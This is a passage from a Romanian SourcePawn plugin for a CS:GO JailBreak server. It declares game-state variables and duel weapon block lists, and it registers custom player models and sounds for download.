*	- Cand este Duminică orice jucator ce intra pe server primeste respawn
*	- Adăugat efect + sunet de căscăt la început de rundă
*	- Simon poate deschide/inchide celulele din meniul lui
*	- Adăugat "Ding" în meniul lui Simon
*	- Când Simon este ales se aude un sunet
*	- Dacă Simon demisionează sau iese de pe server se aude un sunet.
*	- Meniu armament pentru gardieni
*	- Chat modificat
*
*/

/******************************************************************************
                   STARTUP
******************************************************************************/
#include <basecomm>
#include <cstrike>
#include <clientprefs>
#include <geoip>
#include <mostactive>
#include <sdkhooks>
#include <sdktools>
#include <sdktools_functions> 
#include <smlib>
#include <sourcemod>
 
// Compiler Options
#pragma semicolon 1
#pragma newdecls required

#define PLUGIN_NAME           "JaillBreak Romania Core" /* Nume plugin. */
#define PLUGIN_AUTHOR         "xSaG" /* Autor plugin. */
#define PLUGIN_DESCRIPTION    "Conține tot ce este nevoie pentru un server de mod JaillBreak." /* Descriere plugin. */
#define PLUGIN_VERSION        "1.0" /* Versiune plugin. */
#define PLUGIN_URL            "https://steamcommunity.com/id/xsag69" /* Contact autor. */

#define HIDE_RADAR_CSGO 1<<12 // Radar OFF

// Booleans
bool 
	BoxEnabled = false,
	DuelEnabled = false,
	DuelDeagle = false,
	DuelHe = false,
	DuelDecoy = false,
	DuelRevolver = false,
	DuelPumni = false,
	FreedayEnabled = false,
	PlayerHasFreeday[MAXPLAYERS+1] = false,
	PlayerDuelGuard[MAXPLAYERS+1] = false,
	PlayerDuelPrisonier[MAXPLAYERS+1] = false,
	g_bGetFreeDay[MAXPLAYERS+1],
	SimonPicked = false,
	BecomeSimon[MAXPLAYERS+1] = false,
	g_bChecked[MAXPLAYERS + 1],
	g_bIsMySQl;

// Integers
int 
	Tigari[MAXPLAYERS+1],
	iClients[MAXPLAYERS+1],
	iNumClients,
	HasAccepted[MAXPLAYERS+1],
	Simon = 0,
	openDoors = 0,
	g_iPlayTimeSpec[MAXPLAYERS+1] = 0,
	g_iPlayTimeT[MAXPLAYERS+1] = 0,
	g_iPlayTimeCT[MAXPLAYERS+1] = 0,
	g_iHours,
	g_iMinutes,
	g_iSeconds,
	iMelee,
	g_ZileJBGO = -1;
 
// Strings
char 
	g_sCmdLogPath[256],
	g_sSQLBuffer[3096],
	ZileJBGO[11],
	Motive[][] = 
	{
		"proxenetism",
		"trafic de persoane",
		"trafic de droguri",
		"trafic de arme",
		"viol",
		"crimă",
		"futai de babe",
		"că te-ai bătut singur"
	},
	DuelDeagleBlock[][] = 
	{
		"weapon_usp_silencer","weapon_elite","weapon_fiveseven","weapon_glock","weapon_hkp2000","weapon_p250",
		"weapon_tec9","weapon_cz75a","weapon_revolver","weapon_bizon","weapon_mac10","weapon_mp7","weapon_mp9","weapon_p90",
		"weapon_ump45","weapon_mp5sd","weapon_m249","weapon_mag7","weapon_negev","weapon_nova","weapon_sawedoff","weapon_xm1014",
		"weapon_m4a1","weapon_m4a1_silencer","weapon_ak47","weapon_aug","weapon_awp","weapon_famas","weapon_gs3sg1","weapon_galilar",
		"weapon_scar20","weapon_sg556","weapon_ssg08","weapon_flashbang","weapon_decoy","weapon_hegrenade","weapon_incgrenade","weapon_molotov",
		"weapon_smokegrenade","weapon_taser","weapon_breachcharge","weapon_knife","weapon_knife_stiletto","weapon_melee"
	},
	DuelRevolverBlock[][] = 
	{
		"weapon_usp_silencer","weapon_elite","weapon_fiveseven","weapon_glock","weapon_hkp2000","weapon_p250",
		"weapon_tec9","weapon_cz75a","weapon_bizon","weapon_mac10","weapon_mp7","weapon_mp9","weapon_p90",
		"weapon_ump45","weapon_mp5sd","weapon_m249","weapon_mag7","weapon_negev","weapon_nova","weapon_sawedoff","weapon_xm1014",
		"weapon_m4a1","weapon_m4a1_silencer","weapon_ak47","weapon_aug","weapon_awp","weapon_famas","weapon_gs3sg1","weapon_galilar",
		"weapon_scar20","weapon_sg556","weapon_ssg08","weapon_flashbang","weapon_decoy","weapon_hegrenade","weapon_incgrenade","weapon_molotov",
		"weapon_smokegrenade","weapon_taser","weapon_breachcharge","weapon_knife","weapon_knife_stiletto","weapon_melee"
	},
	DuelHeBlock[][] = 
	{
		"weapon_usp_silencer","weapon_elite","weapon_fiveseven","weapon_glock","weapon_hkp2000","weapon_p250",
		"weapon_tec9","weapon_cz75a","weapon_revolver","weapon_bizon","weapon_mac10","weapon_mp7","weapon_mp9","weapon_p90",
		"weapon_ump45","weapon_mp5sd","weapon_m249","weapon_mag7","weapon_negev","weapon_nova","weapon_sawedoff","weapon_xm1014",
		"weapon_m4a1","weapon_m4a1_silencer","weapon_ak47","weapon_aug","weapon_awp","weapon_famas","weapon_gs3sg1","weapon_galilar",
		"weapon_scar20","weapon_sg556","weapon_ssg08","weapon_flashbang","weapon_decoy","weapon_deagle","weapon_incgrenade","weapon_molotov",
		"weapon_smokegrenade","weapon_taser","weapon_breachcharge","weapon_knife","weapon_knife_stiletto","weapon_melee"
	},
	DuelDecoyBlock[][] = 
	{
		"weapon_usp_silencer","weapon_elite","weapon_fiveseven","weapon_glock","weapon_hkp2000","weapon_p250",
		"weapon_tec9","weapon_cz75a","weapon_revolver","weapon_bizon","weapon_mac10","weapon_mp7","weapon_mp9","weapon_p90",
		"weapon_ump45","weapon_mp5sd","weapon_m249","weapon_mag7","weapon_negev","weapon_nova","weapon_sawedoff","weapon_xm1014",
		"weapon_m4a1","weapon_m4a1_silencer","weapon_ak47","weapon_aug","weapon_awp","weapon_famas","weapon_gs3sg1","weapon_galilar",
		"weapon_scar20","weapon_sg556","weapon_ssg08","weapon_flashbang","weapon_hegrenade","weapon_deagle","weapon_incgrenade","weapon_molotov",
		"weapon_smokegrenade","weapon_taser","weapon_breachcharge","weapon_knife","weapon_knife_stiletto","weapon_melee"
	},
	DuelPumniBlock[][] = 
	{
		"weapon_usp_silencer","weapon_elite","weapon_fiveseven","weapon_glock","weapon_hkp2000","weapon_p250",
		"weapon_tec9","weapon_cz75a","weapon_revolver","weapon_bizon","weapon_mac10","weapon_mp7","weapon_mp9","weapon_p90",
		"weapon_ump45","weapon_mp5sd","weapon_m249","weapon_mag7","weapon_negev","weapon_nova","weapon_sawedoff","weapon_xm1014",
		"weapon_m4a1","weapon_m4a1_silencer","weapon_ak47","weapon_aug","weapon_awp","weapon_famas","weapon_gs3sg1","weapon_galilar",
		"weapon_scar20","weapon_sg556","weapon_ssg08","weapon_flashbang","weapon_hegrenade","weapon_deagle","weapon_incgrenade","weapon_molotov",
		"weapon_smokegrenade","weapon_taser","weapon_breachcharge","weapon_knife","weapon_knife_stiletto","weapon_decoy","weapon_melee"
	};

// Float
float 
	g_Min = 300.0;

// Handles
Handle 
	TigariCache,
	attack_timer = INVALID_HANDLE,
	g_DoorList,
	g_hDB = INVALID_HANDLE,
	gF_OnInsertNewPlayer,
	trie_armas;

 
public Plugin myinfo =
{
	name = PLUGIN_NAME,
	author = PLUGIN_AUTHOR,
	description = PLUGIN_DESCRIPTION,
	version = PLUGIN_VERSION,
	url = PLUGIN_URL
};

// Stocks
stock bool IsValidClient(int client)
{
	if(client <= 0) return false;
	if(client > MaxClients) return false;
	if(!IsClientConnected(client)) return false;
	if(IsFakeClient(client)) return false;
	if(IsClientSourceTV(client)) return false;
	return IsClientInGame(client);
}

stock int players_Fade(int clientIndex, int duration=1000, int hold=900, int flags=0x0009, int color[4]={0, 0, 0, 255})
{
	Handle message = StartMessageOne("Fade", clientIndex, USERMSG_RELIABLE);
	PbSetInt(message, "duration", duration);
	PbSetInt(message, "hold_time", hold);
	PbSetInt(message, "flags", flags);
	PbSetColor(message, "clr", color);
	EndMessage();
}

stock void Modele()
{
		// Simon
	PrecacheModel("models/player/custom_player/kuristaja/cso2/lincoln/lincoln.mdl");
	PrecacheModel("models/player/custom_player/kuristaja/cso2/lincoln/lincoln_arms.mdl");
	
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_face_beard.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_face_beard.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_face_beard_alp.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_face_beard_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_glove.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_glove.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_glove_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_hair.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_hair.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_hair_alp.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_hair_alp_inv.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_hair_inv.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_hair_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_hand.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_hand.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_hand_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/cso2/lincoln/ct_lincoln_normal.vtf");

	// Player model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/cso2/lincoln/lincoln.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/cso2/lincoln/lincoln.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/cso2/lincoln/lincoln.phy");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/cso2/lincoln/lincoln.vvd");

	// Arms model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/cso2/lincoln/lincoln_arms.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/cso2/lincoln/lincoln_arms.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/cso2/lincoln/lincoln_arms.vvd");
	
	
	//Prizonieri
	// -- Prisoner 1
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/prisoner1/prisoner1.mdl");
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/prisoner1/prisoner1_arms.mdl");

	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/eye_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/prisoner_lt_bottom_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/prisoner_lt_head_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/prisoner_lt_top_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/prisoners_torso_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/eye_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/prisoner_lt_bottom_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/prisoner_lt_bottom_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/prisoner_lt_head_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/prisoner_lt_head_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/prisoner_lt_top_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/prisoner_lt_top_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner1/prisoners_torso_d.vtf");

	// Player model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner1/prisoner1.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner1/prisoner1.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner1/prisoner1.phy");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner1/prisoner1.vvd");

	// Arms model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner1/prisoner1_arms.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner1/prisoner1_arms.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner1/prisoner1_arms.vvd");
	
	// -- Prisoner 2
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/prisoner2/prisoner2.mdl");
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/prisoner2/prisoner2_arms.mdl");

	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner2/charles01_body01_au_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner2/charles01_head01_au_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner2/hair01_au_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner2/hair02_au_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner2/charles01_body01_au_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner2/charles01_body01_au_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner2/charles01_head01_au_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner2/charles01_head01_au_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner2/hair01_au_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner2/hair01_au_normal.vtf");

	// Player model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner2/prisoner2.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner2/prisoner2.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner2/prisoner2.phy");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner2/prisoner2.vvd");

	// Arms model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner2/prisoner2_arms.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner2/prisoner2_arms.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner2/prisoner2_arms.vvd");
	
	// -- Prisoner3
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/prisoner3/prisoner3.mdl");
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/prisoner3/prisoner3_arms.mdl");
	
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner3/eyes.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner3/gi_head_14.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner3/m_white_13_co.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner3/eyes.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner3/gi_head_14.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner3/gi_head_nml.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner3/m_white_13_co.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner3/m_white_13_n.vtf");

	// Player model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner3/prisoner3.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner3/prisoner3.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner3/prisoner3.phy");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner3/prisoner3.vvd");

	// Arms model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner3/prisoner3_arms.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner3/prisoner3_arms.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner3/prisoner3_arms.vvd");


	// -- Prisoner 4
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/prisoner4/prisoner4.mdl");
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/prisoner4/prisoner4_arms.mdl");
	
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner4/1.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner4/eye.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner4/gi_head_1.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner4/1.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner4/1_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner4/eye.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner4/gi_head_1.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner4/gi_head_nml.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner4/skin_detail.vtf");

	// Player model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner4/prisoner4.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner4/prisoner4.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner4/prisoner4.phy");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner4/prisoner4.vvd");

	// Arms model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner4/prisoner4_arms.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner4/prisoner4_arms.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner4/prisoner4_arms.vvd");
	
	// -- Prisoner 6
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/prisoner6/prisoner6.mdl");
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/prisoner6/prisoner6_arms.mdl");

	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner6/postman01_eye01_an_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner6/prisonerfrombus_head02_au_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner6/prisonerfrombus_head02_au_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner6/prisonerfrombus_head02_au_normal.vtf");

	// Player model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner6/prisoner6.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner6/prisoner6.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner6/prisoner6.phy");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner6/prisoner6.vvd");

	// Arms model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner6/prisoner6_arms.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner6/prisoner6_arms.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner6/prisoner6_arms.vvd");


	// -- Prisoner7
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/prisoner7/prisoner7.mdl");
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/prisoner7/prisoner7_arms.mdl");

	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner7/4.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner7/arms.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner7/eye.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner7/murphy_hospital_clothes_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner7/4.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner7/4_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner7/eye.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner7/murphy_hospital_clothes_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner7/murphy_hospital_clothes_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/prisoner7/skin_detail.vtf");

	// Player model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner7/prisoner7.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner7/prisoner7.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner7/prisoner7.phy");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner7/prisoner7.vvd");

	// Arms model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner7/prisoner7_arms.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner7/prisoner7_arms.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/prisoner7/prisoner7_arms.vvd");
	
	// Shared material files for guard1 guard2, guard3, prisoner2, prisoner3, prisoner4, prisoner5, prisoner6
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/shared/brown_eye01_an_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/shared/police_body_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/shared/prisoner1_body.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/shared/tex_0086_0.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/shared/brown_eye_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/shared/brown_eye01_an_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/shared/police_body_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/shared/police_body_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/shared/prisoner1_body.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/shared/prisoner1_body_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/shared/tex_0086_0.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/shared/tex_0086_1.vtf");

	// -- Guard1
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/guard1/guard1.mdl");
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/guard1/guard1_arms.mdl");

	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard1/hair01_ao_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard1/hair01_ao_d2.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard1/sewell01_head01_au_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard1/hair01_ao_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard1/hair01_ao_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard1/sewell01_head01_au_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard1/sewell01_head01_au_normal.vtf");

	// Player model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard1/guard1.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard1/guard1.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard1/guard1.phy");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard1/guard1.vvd");

	// Arms model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard1/guard1_arms.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard1/guard1_arms.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard1/guard1_arms.vvd");


	// -- Guard2
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/guard2/guard2.mdl");
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/guard2/guard2_arms.mdl");

	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard2/npc_ryall_head_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard2/npc_ryall_head_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard2/npc_ryall_head_normal.vtf");

	// Player model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard2/guard2.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard2/guard2.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard2/guard2.phy");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard2/guard2.vvd");

	// Arms model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard2/guard2_arms.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard2/guard2_arms.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard2/guard2_arms.vvd");


	// -- Guard3
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/guard3/guard3.mdl");
	PrecacheModel("models/player/custom_player/kuristaja/jailbreak/guard3/guard3_arms.mdl");

	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard3/policeman_ai_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard3/policeman_head_ai_d.vmt");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard3/policeman_ai_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard3/policeman_ai_normal.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard3/policeman_head_ai_d.vtf");
	AddFileToDownloadsTable("materials/models/player/kuristaja/jailbreak/guard3/policeman_head_ai_normal.vtf");

	// Player model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard3/guard3.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard3/guard3.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard3/guard3.phy");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard3/guard3.vvd");

	// Arms model
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard3/guard3_arms.dx90.vtx");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard3/guard3_arms.mdl");
	AddFileToDownloadsTable("models/player/custom_player/kuristaja/jailbreak/guard3/guard3_arms.vvd");
}

stock void Sunete()
{
	/* Precache Sound */
	PrecacheSound("*xsag/jbgo/cascat_xsag.mp3");
	PrecacheSound("*xsag/jbgo/ding_xsag.mp3");
	PrecacheSound("*xsag/jbgo/close_xsag.mp3");
	PrecacheSound("*xsag/jbgo/open_xsag.mp3");
	PrecacheSound("*xsag/jbgo/revolt_xsag.mp3");
	PrecacheSound("*xsag/jbgo/startfd_xsag.mp3");
	PrecacheSound("*xsag/jbgo/warden_xsag.mp3");
	PrecacheSound("*xsag/jbgo/unwarden_xsag.mp3");
	PrecacheSound("*xsag/jbgo/lr_xsag.mp3");
	PrecacheSound("*xsag/jbgo/box_xsag.mp3");
	/* Download Sound */
	AddFileToDownloadsTable("sound/xsag/jbgo/cascat_xsag.mp3");
	AddFileToDownloadsTable("sound/xsag/jbgo/ding_xsag.mp3");
	AddFileToDownloadsTable("sound/xsag/jbgo/close_xsag.mp3");
	AddFileToDownloadsTable("sound/xsag/jbgo/open_xsag.mp3");
	AddFileToDownloadsTable("sound/xsag/jbgo/revolt_xsag.mp3");
	AddFileToDownloadsTable("sound/xsag/jbgo/startfd_xsag.mp3");
	AddFileToDownloadsTable("sound/xsag/jbgo/warden_xsag.mp3");
	AddFileToDownloadsTable("sound/xsag/jbgo/unwarden_xsag.mp3");
	AddFileToDownloadsTable("sound/xsag/jbgo/lr_xsag.mp3");
	AddFileToDownloadsTable("sound/xsag/jbgo/box_xsag.mp3");
}

stock void SetCvar(char[] scvar, char[] svalue)
{
	Handle cvar = FindConVar(scvar);
	SetConVarString(cvar, svalue, true);
}

stock void ClearTimer(Handle &timer)
{
	if(timer != INVALID_HANDLE)
	{
		KillTimer(timer);
	}
	timer = INVALID_HANDLE;
}

 
public APLRes AskPluginLoad2(Handle myself, bool late, char [] error, int err_max)
{
